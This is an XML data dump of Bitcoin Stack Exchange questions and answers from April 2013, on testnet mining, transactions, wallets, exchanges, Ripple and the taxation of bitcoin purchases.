  <row Id="8932" PostTypeId="1" CreationDate="2013-04-01T19:15:43.977" Score="2" ViewCount="789" Body="&lt;p&gt;I set up my bitcoin client to run on the testnet network, where I can presumably mine test bitcoins in a reasonable amount of time using only a laptop CPU.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-qt -testnet -gen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using top I can see that bitcoin-qt is using a lot of CPU. This leads me to think that it is mining for bitcoins. However, how can I know for sure that it really is? There does not appear to be any indicator in the GUI to show that mining is in process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my client eventually does find some bitcoins, will they appear in my wallet? Will they appear in the transactions log?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="5406" LastEditDate="2016-04-09T07:47:13.360" LastActivityDate="2016-04-09T07:47:13.360" Title="How do I know if my bitcoin client is mining?" Tags="|mining-reward|testnet|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8933" PostTypeId="1" AcceptedAnswerId="8935" CreationDate="2013-04-01T20:15:52.590" Score="0" ViewCount="181" Body="&lt;p&gt;I'm new in the bitcoin field and I need to understand about transactions.&#xA;When Bob is sending bitcoins to Alice, Bob will create a tx, he will add Alice's address, sign it and broadcast it in the network. But what is the previous transaction in this case? Is it a different tx from the one between Bob and Alice? &lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="2306" LastEditDate="2013-04-01T20:38:25.500" LastActivityDate="2013-04-01T20:38:53.537" Title="What is a previous transaction?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8934" PostTypeId="2" ParentId="8932" CreationDate="2013-04-01T20:15:55.163" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I know if my bitcoin client is mining?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Help &gt; Debug window &gt; Console &gt; Type &quot;gethashespersec&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If my client eventually does find some bitcoins, will they appear in my wallet? Will they appear in the transactions log?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-01T20:15:55.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="2" ParentId="8933" CreationDate="2013-04-01T20:38:53.537" Score="2" Body="&lt;p&gt;It's the transaction (or transactions) that bob got his bitcoins from.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-01T20:38:53.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostTypeId="2" ParentId="8787" CreationDate="2013-04-01T20:48:00.747" Score="1" Body="&lt;p&gt;If you backup the wallet.dat file, then you should be able to remove everything else, and then Bitcoin-Qt will redownload the block chain.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-01T20:48:00.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8938" PostTypeId="2" ParentId="8479" CreationDate="2013-04-01T20:54:31.540" Score="1" Body="&lt;p&gt;BitcoinFog is popular and has been around for a few years. If you really want to make your own, you'd need a dedicated server, Tor (for the hidden service), web server software like Apache, and Bitcoin-Qt (or some other bitcoin software which can be interfaced with through PHP). To have it be really safe, you'd need to set in place other precautions like a firewall or a separate server running Bitcoin-Qt.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-01T20:54:31.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8939" PostTypeId="2" ParentId="8884" CreationDate="2013-04-01T21:00:40.933" Score="1" Body="&lt;p&gt;Assuming you mean &quot;blockchain.info&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to your exchange, deposit/bitcoins section. It should give you a bitcoin address, copy it.&lt;/li&gt;&#xA;&lt;li&gt;go to your wallet, &quot;send money&quot;&lt;/li&gt;&#xA;&lt;li&gt;enter the copied address and the desired amount&lt;/li&gt;&#xA;&lt;li&gt;hit &quot;send&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-01T21:00:40.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="1" CreationDate="2013-04-01T21:41:59.000" Score="4" ViewCount="165" Body="&lt;p&gt;If the transaction history's Merkle tree were pruned to remove all transactions that have been completely spent, what would be the size of the transaction history in comparison to its current size?  (In percent of total size.)&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="5406" LastEditDate="2021-06-17T21:18:15.463" LastActivityDate="2021-06-20T09:55:02.317" Title="How big would the transaction history be if all spent transactions were pruned?" Tags="|merkle-tree|pruning|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostTypeId="2" ParentId="5715" CreationDate="2013-04-01T21:54:17.917" Score="-1" Body="&lt;p&gt;One small addition to the other answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new transaction shows up, the miner stops for a moment, adds it to the transaction list, and starts mining again.  This slows him down because for a short while, he isn't mining.  &lt;strong&gt;But&lt;/strong&gt;, according to the protocol, a client is supposed to accept the transaction history that includes the most transactions.  So, if the miner doesn't stop to add new transactions, he's at risk of succeeding but then someone else succeeding with a longer transaction list.  And then he doesn't get paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Oops, I thought that I read this somewhere but looking again, I didn't.  So why does a miner have any incentive to pause his mining and recalculate the block's hash?  Unless a transaction has a fee.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="1507" LastEditDate="2013-04-02T07:43:23.060" LastActivityDate="2013-04-02T07:43:23.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8942" PostTypeId="1" CreationDate="2013-04-01T22:14:14.887" Score="0" ViewCount="18131" Body="&lt;p&gt;Question if I buy a bitcoin @$103.89 USD as of today’s prices where does the USD payment go?  Do the funds paid in any world currency go into a pool to back the bitcoin or into the developers of bitcoin clients?  What are the IRS requirements as to the value of ones account?  The Norfed dollars where backed or made of precious metals and taken down by the federal coinage act.  The $20.00 coin is now worth about 30% more than face value, go figure.  Thanks any info would be appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="2785" LastEditDate="2013-04-01T23:02:23.477" LastActivityDate="2018-01-08T20:27:00.230" Title="If I buy a bitcoin in USD who gets the cash?" Tags="|cash|" AnswerCount="3" CommentCount="2" ClosedDate="2016-01-18T10:12:01.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostTypeId="2" ParentId="8942" CreationDate="2013-04-01T23:05:07.067" Score="5" Body="&lt;p&gt;When you buy an ounce of silver bullion at the coin store, who gets the money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person who held the coin before you did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bitcoins are first issued to miners. From there, miners use those coins for trade or exchange.  So when you buy a bitcoin with cash, you are buying it from someone who owned it but initially it was obtained from a miner.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-01T23:05:07.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8944" PostTypeId="2" ParentId="8898" CreationDate="2013-04-01T23:24:11.793" Score="2" Body="&lt;p&gt;I have information from the #ripple IRC channel that 'unique' nodes are weighted equally in the current implementation.&lt;/p&gt;&#xA;" OwnerUserId="3752" LastActivityDate="2013-04-01T23:24:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostTypeId="2" ParentId="8923" CreationDate="2013-04-02T00:28:43.337" Score="2" Body="&lt;p&gt;On my Mac, the blocks directory consumes 7.8 GB of physical space. The entire Application Support folder takes 8.0GB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those not familiar with Macs, the Application Support folder is somewhat like a hidden data folder. It is where applications keep their data other than the documents users actually work with. (Which are usually in the Documents directory.) It is where the Qt client keeps both the blockchain, address book, wallet, and other databases.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-02T00:28:43.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostTypeId="1" CreationDate="2013-04-02T01:00:54.063" Score="2" ViewCount="232" Body="&lt;p&gt;There is a person claiming that Blockchain.info/wallet &lt;a href=&quot;https://bitcointalk.org/index.php?topic=164512.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;sent a transaction&lt;/a&gt; but for whatever reason that transaction never got included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction is valid today but perhaps just didn't get re-broadcast for whatever reason and has since expired from each node's memory pool, any party  with an archive of transactions could re-broadcast that transaction and it now might get included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone maintain an archive of all transactions, for instance, by archiving each &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8133/153&quot;&gt;OnTransaction event in BitcoinJ&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-06-18T05:51:49.267" Title="Is there any party who is archiving all transactions that have been broadcast?" Tags="|transactions|blockchain.info|history|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="1" AcceptedAnswerId="8979" CreationDate="2013-04-02T01:41:40.387" Score="0" ViewCount="773" Body="&lt;p&gt;For bitcoin,  it's the inverse of the target that the hash must be less than.  Litecoin uses scrypt instead of SHA256, so I'm unsure what the difficulty indicates. &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-05-02T17:10:32.490" Title="What does difficulty indicate for litecoin mining?" Tags="|difficulty|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostTypeId="2" ParentId="1447" CreationDate="2013-04-02T03:10:42.853" Score="2" Body="&lt;p&gt;The bitcoin-central.net exchange claims to be open as well, but they are currently(as of March 2nd 2013) &quot;down for maintenance&quot;. The code can be found at &lt;a href=&quot;https://github.com/davout/bitcoin-central&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt; and bitcoin-central is part of the &lt;a href=&quot;http://paymium.com/&quot; rel=&quot;nofollow&quot;&gt;paymium&lt;/a&gt; payment network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network, including bitcoin-central, is somewhat backed by the french taxpayer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ﬁrst ﬁnancially registered Bitcoin exchange,&#xA;  bitcoin‑central.net is the leading European exchange running without&#xA;  disruption since January 2011.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Customer deposits in Euros are held separately by Aqoba, licensed as a&#xA;  payment institution by Banque of France. A debit card will be offered&#xA;  soon to veriﬁed account holders.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2013-04-02T03:10:42.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8952" PostTypeId="2" ParentId="8946" CreationDate="2013-04-02T03:26:24.483" Score="-2" Body="&lt;p&gt;Anybody that has downloaded the blockchain has a log of all transactions. Blockchain.info should have it. In the future only accept confirmed transactions&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-04-02T03:26:24.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostTypeId="1" CreationDate="2013-04-02T03:28:48.843" Score="2" ViewCount="1775" Body="&lt;p&gt;I find 99.999% of the blockchain irrelevant and a wasteful use of storage space in my personal computers. I just need it to sync my wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on OSX what are bitcoin softwares that do not require downloading the entire blockchain? How can I find the wallet of my currently installed software (Bitcoin-Qt) and move it&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-04-02T20:04:29.033" Title="wallet software that doesn't require downloading the entire blockchain" Tags="|blockchain|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="2" ParentId="8953" CreationDate="2013-04-02T03:33:17.380" Score="2" Body="&lt;p&gt;Electrum wallet. Works like a charm on my mac. &lt;/p&gt;&#xA;" OwnerUserId="3796" LastActivityDate="2013-04-02T03:33:17.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="2" ParentId="8942" CreationDate="2013-04-02T03:48:32.527" Score="0" Body="&lt;p&gt;Bitcoin is neither a commodity or a fiat currency, but has characters of both. The value is derived from the scarcity (since there will only ever be a finite amount of bitcoins, and before then there can only be so many at any given time, with no possibility of finding a new resource of them). The value is also derived from the liquidity perks that commodities and currencies have failed to offer, especially person to person, and over the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you bought a bitcoin with usd, the person you bought it from no longer has a bitcoin and would have usd instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the IRS you would most likely have to report your cost basis in US Dollars, and at reporting time report a gain or a loss if you sold them for cash. In the absence of specific regulations (recognized foreign currency trading profits have a max tax rate subject to the 60/40 rule), you will use the short-term or long-term capital gains tax code. Short-term capital gains are treated as normal income and taxed in whatever bracket you are in. Long-Term Capital gains are treated in a lower max different tax bracket. Unless explicitly prohibited you can hold anything in an IRA or Roth account.......&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="-1" LastEditDate="2018-01-08T20:27:00.230" LastActivityDate="2018-01-08T20:27:00.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8956" PostTypeId="1" CreationDate="2013-04-02T04:30:24.440" Score="2" ViewCount="50" Body="&lt;p&gt;MtGox trades 24 hours a day, 7 days a week. Yet charts show daily charts and volume stats, especially intraday, when does the trading session begin and end on Mt. Gox, for reporting purposes? Also, what time zone.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2013-04-02T05:07:57.623" LastActivityDate="2013-04-02T05:07:57.623" Title="How are per-day statistics computed on MtGox in the middle of the day?" Tags="|exchanges|trading|mtgox|" AnswerCount="0" CommentCount="0" ClosedDate="2013-04-05T10:58:39.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="1" AcceptedAnswerId="8991" CreationDate="2013-04-02T04:34:30.770" Score="0" ViewCount="135" Body="&lt;p&gt;Did I do something wrong?  Here's the output from the order status page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Quote ID    a086c30f-04a2-491c-b616-88655077ea68&#xA;Event ID    8db863ac-c880-45ae-b96e-ed8ece6e1021&#xA;Fees (inclusive)    3.99%%&#xA;Amount you paid $500.0 USD&#xA;Amount you will receive $480.05 USD&#xA;Destination exchange    Bitcoin Address&#xA;Destination account 1Jhbh2bezGY9GGPtkUdFixvtfrUpBHU55R&#xA;&#xA;Timestamp   Event ID    Event type&#xA;Tue Apr 2 03:08:27 2013 8db863ac-c880-45ae-b96e-ed8ece6e1021    Quote for new transaction&#xA;Tue Apr 2 03:40:38 2013 44d23e52-d977-4e1c-825b-2dd9166a72d3    New Order&#xA;Tue Apr 2 03:41:49 2013 6bb94555-9e73-4d4f-a9bc-a5cc7e93492d    MTGox Connection Error&#xA;Tue Apr 2 03:51:50 2013 980e15b8-6c8a-45af-87b7-0fe9427bd818    Order executed - funds deposited at remote exchange&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2013-04-02T19:03:16.847" Title="Bitinstant order was processed, but is not showing in blockchain - did I screw up?" Tags="|blockchain|buy-bitcoins|bitinstant|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-09T20:03:09.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="1" AcceptedAnswerId="8987" CreationDate="2013-04-02T06:13:48.950" Score="5" ViewCount="950" Body="&lt;p&gt;I just sold some BTC for XRP, and managed to get a negative balance. WTF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t7SRU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction ID - E2D1BBD7A602E9D5B16FD79819A0347E18DED7F988F2F4C9EA3854BFCB4D3664&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-02T18:29:41.673" Title="What does a negative Ripple balance mean?" Tags="|ripple|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="1" CreationDate="2013-04-02T06:31:50.270" Score="2" ViewCount="1669" Body="&lt;p&gt;Imported an address into electrum, but the balance of the address shows up as zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked the address on &lt;a href=&quot;http://www.bitvisitor.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com&lt;/a&gt; and it's not zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address was imported from bitcoinqt when the blockchain is out of date and the transactions were never attributed to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing was sent from the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you refresh the transaction history for the imported address in electrum, so it becomes spendable again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: The problem has been solved - see workaround below&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround for this is to &lt;strong&gt;send a small amount of bitcoins to the the imported address&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was done by watching an ad at &lt;a href=&quot;http://www.bitvisitor.com/&quot; rel=&quot;nofollow&quot;&gt;www.bitvisitor.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once payment was confirmed in the blockchain, Electrum refreshed the balance and the transaction history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The imported address balance is now spendable :)&lt;/p&gt;&#xA;" OwnerUserId="3799" LastEditorUserId="3799" LastEditDate="2013-04-02T08:15:03.943" LastActivityDate="2013-08-30T22:20:22.167" Title="How to update balance of imported address in electrum" Tags="|address|bitcoin-core|balance|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8960" PostTypeId="1" CreationDate="2013-04-02T08:07:18.023" Score="3" ViewCount="222" Body="&lt;p&gt;As Bitcoin is crossing total M1 money of few countries, how could a country by adopting Bitcoin as national currency, mutually benefit Bitcoin and the country itself? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=154954.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=154954.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-05-02T19:10:32.477" Title="Benefits of bitcoin as national currency?" Tags="|speculation|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-24T07:54:51.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="1" AcceptedAnswerId="8970" CreationDate="2013-04-02T10:58:53.013" Score="5" ViewCount="173" Body="&lt;p&gt;Consider some exchange, e.g. Mt. Gox, with just two users, Alice and Bob. If Alice places a sale order limited above 90$, and Bob places a buy order limited below 110$, at what rate will the exchange take place?&lt;/p&gt;&#xA;" OwnerUserId="3806" LastEditorUserId="196" LastEditDate="2013-04-02T13:05:26.427" LastActivityDate="2013-04-02T13:05:26.427" Title="Exchange rate of limit orders with a positive interval" Tags="|exchanges|exchange-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostTypeId="1" CreationDate="2013-04-02T11:32:46.963" Score="4" ViewCount="150" Body="&lt;p&gt;So we know that bitcoin is secure up to the point of basically proving P=NP. (Its an open question) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So bitcoin is secure. But I feel it still suffers one problem, as with all transactions(not just bitcoin). One person must either send their stake in the barter first or receive the others and be trusted to return the payment if no escrow is involved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am paraphrasing and hopefully not destroying the idea, but when I read the bitcoin whitepaper it seemed like it was aimed so that no escrow needs to be involved to transfer funds online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no escrow means we all must trust one another if we want to do transactions with one another? Because one person must receive or send the goods first, and must do so on good faith that they will receive the compensation.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2013-04-02T11:38:58.437" LastActivityDate="2013-04-03T17:53:30.497" Title="Do Bitcoins still need users to trust each other to feel confident?" Tags="|transactions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8968" PostTypeId="2" ParentId="8967" CreationDate="2013-04-02T11:53:27.243" Score="1" Body="&lt;p&gt;The reason you feel &quot;more confident&quot; using government-backed currency is, well, because of the government. And what the government has to offer that something like Bitcoin hasn't, is the promise that it will prosecute and possibly even incarcerate the person that violates your trust, and the fear of that promise is what affords the level of trust you experience. Government currency is backed by fear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin, on the other hand, is backed by &quot;love.&quot; What this means is, in Bitcoin there is genuine &quot;trust.&quot; If someone violates the rules, then by default they can assume that they will not be prosecuted, and they do not go to any jail (for now). In a world of trust, what matters is reputation: how many times in the past has this person or entity honoured their debts? MtGox.com is a reputable source not because you have any idea who the people behind it are (though you might) but because it has been processing thousands of transactions similar to ones you might do yourself for years.&lt;/p&gt;&#xA;" OwnerDisplayName="user3812" LastEditorUserId="3870" LastEditDate="2013-04-03T16:15:21.853" LastActivityDate="2013-04-03T16:15:21.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8970" PostTypeId="2" ParentId="8965" CreationDate="2013-04-02T12:33:30.197" Score="3" Body="&lt;p&gt;It depends on who posts the order first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Alice posts first a &lt;code&gt;sell&lt;/code&gt; at 90, then Bob posts a &lt;code&gt;buy&lt;/code&gt; at 110, Bob will &lt;code&gt;buy&lt;/code&gt; from Alice at 90, and any excess will be posted as a &lt;code&gt;buy&lt;/code&gt; at 110 (if he wanted to buy more than Alice sold).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bob posted first a &lt;code&gt;buy&lt;/code&gt; at 110, then Alice posted a &lt;code&gt;sell&lt;/code&gt; at 90, the opposite would happen: Alice would &lt;code&gt;sell&lt;/code&gt; to Bob at 110, and any excess would be posted as a &lt;code&gt;sell&lt;/code&gt; at 90 (if she wanted to sell more than Bob wanted to buy).&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-02T12:33:30.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="1" CreationDate="2013-04-02T13:14:08.367" Score="0" ViewCount="4901" Body="&lt;p&gt;I made a transaction on March 13th, transferring .88 BTC from my desktop wallet to another account. I have a Mac and am using Bitcoin-Qt version v0.8.1-beta. The transaction did not go through, my wallet is &quot;out of sync&quot;, and I do not have the .88 BTC in my wallet anymore. I have scoured the internet trying to solve this problem and have not found anything yet. Any help is MUCH appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3814" LastActivityDate="2013-04-02T22:05:15.900" Title="Bitcoin Transaction Unconfirmed" Tags="|wallet|bitcoin-core|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-09T20:16:23.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="8974" PostTypeId="1" CreationDate="2013-04-02T14:00:11.957" Score="1" ViewCount="106" Body="&lt;p&gt;I've seen some chatter online about using bitcoins as a workaround for Argentinian currency controls (see below) and I'd like to speak to people who have actually done that, whether it means converting pesos to bitcoins to dollars or vice-versa. Was it cumbersome? Did you save money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5735/can-i-use-bitcoin-as-a-means-of-bypassing-argentine-dollar-restrictions&quot;&gt;Can I use bitcoin as a means of bypassing Argentine Dollar restrictions?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3815" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-04-02T14:48:28.920" Title="Has anyone here used bitcoins to swap dollars for pesos in Argentina?" Tags="|exchanges|exchange-rate|travel|argentina|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T17:30:37.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="8976" PostTypeId="1" AcceptedAnswerId="9070" CreationDate="2013-04-02T14:19:14.867" Score="4" ViewCount="1564" Body="&lt;p&gt;What is the Ripple equivalent to &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Scalability&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-03T19:44:21.083" Title="Is Ripple.com scalable?" Tags="|ripple|scalability|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8977" PostTypeId="2" ParentId="8971" CreationDate="2013-04-02T14:50:24.897" Score="2" Body="&lt;p&gt;You can see when is your transaction with : &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet is out of sync don't worry, it's normal that you don't see the transaction.&#xA;If you sent BTC from A to B, B will see the transaction when he's synced.&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-04-02T14:50:24.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="2" ParentId="8949" CreationDate="2013-04-02T16:29:01.420" Score="3" Body="&lt;p&gt;Litecoin's difficulty means mostly the same thing as it does for bitcoin.  It's the ratio of the maximum target to the current target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty within (but not between, for obvious reasons) each can be compared the same way.  A difficulty of 100 means it takes, on average, 100x as many hashes to find a valid block as it does at a difficulty of 1.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-04-02T16:29:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostTypeId="1" CreationDate="2013-04-02T18:07:02.897" Score="1" ViewCount="528" Body="&lt;p&gt;My friend has a rather large store of bitcoins that he bought about a month ago. I think it makes sense for him to hedge his recent gains, since the price run up looks like a bubble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a high leverage way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at ICBIT but the counter-party risk in the face of a market blowup is large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking Intrade, but they are apparently blowing up. Settlement in fiat preferred. My friend lives in the US.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastEditorUserId="2306" LastEditDate="2013-04-02T19:07:22.063" LastActivityDate="2014-01-19T21:23:31.290" Title="Hedging against the bubble popping - where's the leverage?" Tags="|contracts|futures|risk-mitigation|options|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostTypeId="2" ParentId="8967" CreationDate="2013-04-02T18:23:20.993" Score="2" Body="&lt;p&gt;I will add Lohoris's comment as an answer, because it really is the answer to the question. Bitcoin does not directly try to address the issue of trust in a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, yes, some trust is needed because one party still has to be the first to hand over goods and/or cash. I just read a post on the bitcoin subreddit that relayed a story of getting ripped off after handing over BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Bitcoin does make some aspects that make fraud harder, most specifically a transaction log. If the recipient address is either well known, displayed on an invoice, or recorded in an email, it is trivial to prove that you sent BTC to that address. (Of course if you obfuscate the transaction through a mixer, that removes this benefit.) But, even then, that is just providing tools to law enforcement/court or some other sort of after-transaction dispute process. And, given law enforcement's lack of experience with Bitcoin, and the irreversibility of Bitcoin transactions, if you don't trust the party you are trading with then you may have to engage some sort of escrow service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Per request, &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1b89wm/i_just_got_robbed_blind_of_bitcoins_in_person_im/&quot; rel=&quot;nofollow&quot;&gt;this is the reddit post&lt;/a&gt; I mentioned.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-04-03T17:53:30.497" LastActivityDate="2013-04-03T17:53:30.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
